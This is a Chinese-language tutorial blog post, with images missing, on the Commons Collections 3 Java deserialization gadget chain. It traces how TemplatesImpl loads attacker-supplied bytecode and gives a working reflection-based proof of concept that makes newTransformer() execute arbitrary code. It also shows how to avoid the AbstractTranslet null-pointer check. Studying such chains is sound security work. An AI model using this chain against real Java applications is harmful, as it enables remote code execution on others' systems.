CC3

cc_link_three0x00前言这里要单独学cc链子三是因为它的调用方式不是执行命令而是代码执行,是一种动态类加载机制来执行代码,然后类加载的时候要用类加载器
0x01开整首先明白调用机制loadClass---findClass---defineclass这三个流程
就再dfineClass的时候执行代码块之类的嘛所以我们找找defineClass有没有利用的的点 , 找了很多defineClass都是私有的和保护的我们要找一个公开的方法
最后在com.sun.org.apache.xalan.internal.xsltc.trax包下面发现了这个class的方法,只能在本包下访问的限制,然后再追进去看看

CC3

文章插图
然后继续向上寻找有三个值,看看三个值有没有代码执行的可能性
CC3

文章插图
最后在第三个调用哪里发现了一个类加载的机制newInstance()
CC3

文章插图
然而它还是私有的继续往上找一下找到了上一层就发现了公开的方法
CC3

文章插图
这条链子大概就是这样发现了 , 然后就执行到这个newInstance()然后执行对应文件的代码就可以加载到
开始手搓确定一下代码执行的地方先确定一下这个类它确定是继承了这些类的,是可以序列化的
CC3

文章插图
然后确定一下各个位置的值是怎么判断的
private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setOverrideDefaultParser(_overrideDefaultParser);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}
  • _name需要能为空因为我们要继续向下追踪
然后追下去发现
CC3

文章插图
因为我们要调用definclass嘛然后所以_bytecodes也不能为空
_tfactory需要调用_getExternalExtensionsMap()方法所以它也不能为空不然会出现空指针异常的问题
然后就写个正面的payload来看一下嘛
public class cc_link_3 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {//类加载要使用类加载器TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field _namefield = templatesClass.getDeclaredField("_name");_namefield.setAccessible(true);Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);_namefield.set(templates,"aaaaa");byte[] code = Files.readAllBytes(Paths.get("C://test.class"));byte[][] codes={code};bytecodesField.set(templates,codes);Field tfactory = templatesClass.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());templates.newTransformer();}}然后在执行的时候爆了空指针异常嘛可能就是因为在defineclass那个函数里面有些值的赋值没有赋值好
CC3

文章插图
在这个点解读一下就是我们加载的类的父类的名称必须是
CC3

文章插图
在下面这个点的时候
CC3

文章插图
调用了一个put方法然后再这个参数这个时候是空的所以存在空指针异常
这里我们绕过的方式就有两种第一种是让他不进入循环然后去跳开那个if然后给下面空指针那个属性赋一个值,但是我们在后面看来后面还有一个对t_transletIndex进行一个判断的函数,然后再上面那个if还是对_transletIndex变成了-1还是很有用的,所以我们还是进入这个if循环所以给我们的test增加一个AbstrancTranslet的父类
CC3

文章插图
这样就能达到执行代码的效果咯,这条链子的意思呢就是我们只要调用了Templateslmpl.newTransformer方法就可以执行任意代码它有可以执行代码我们就可以直接利用cc链1的transfrom方法去调用

推荐阅读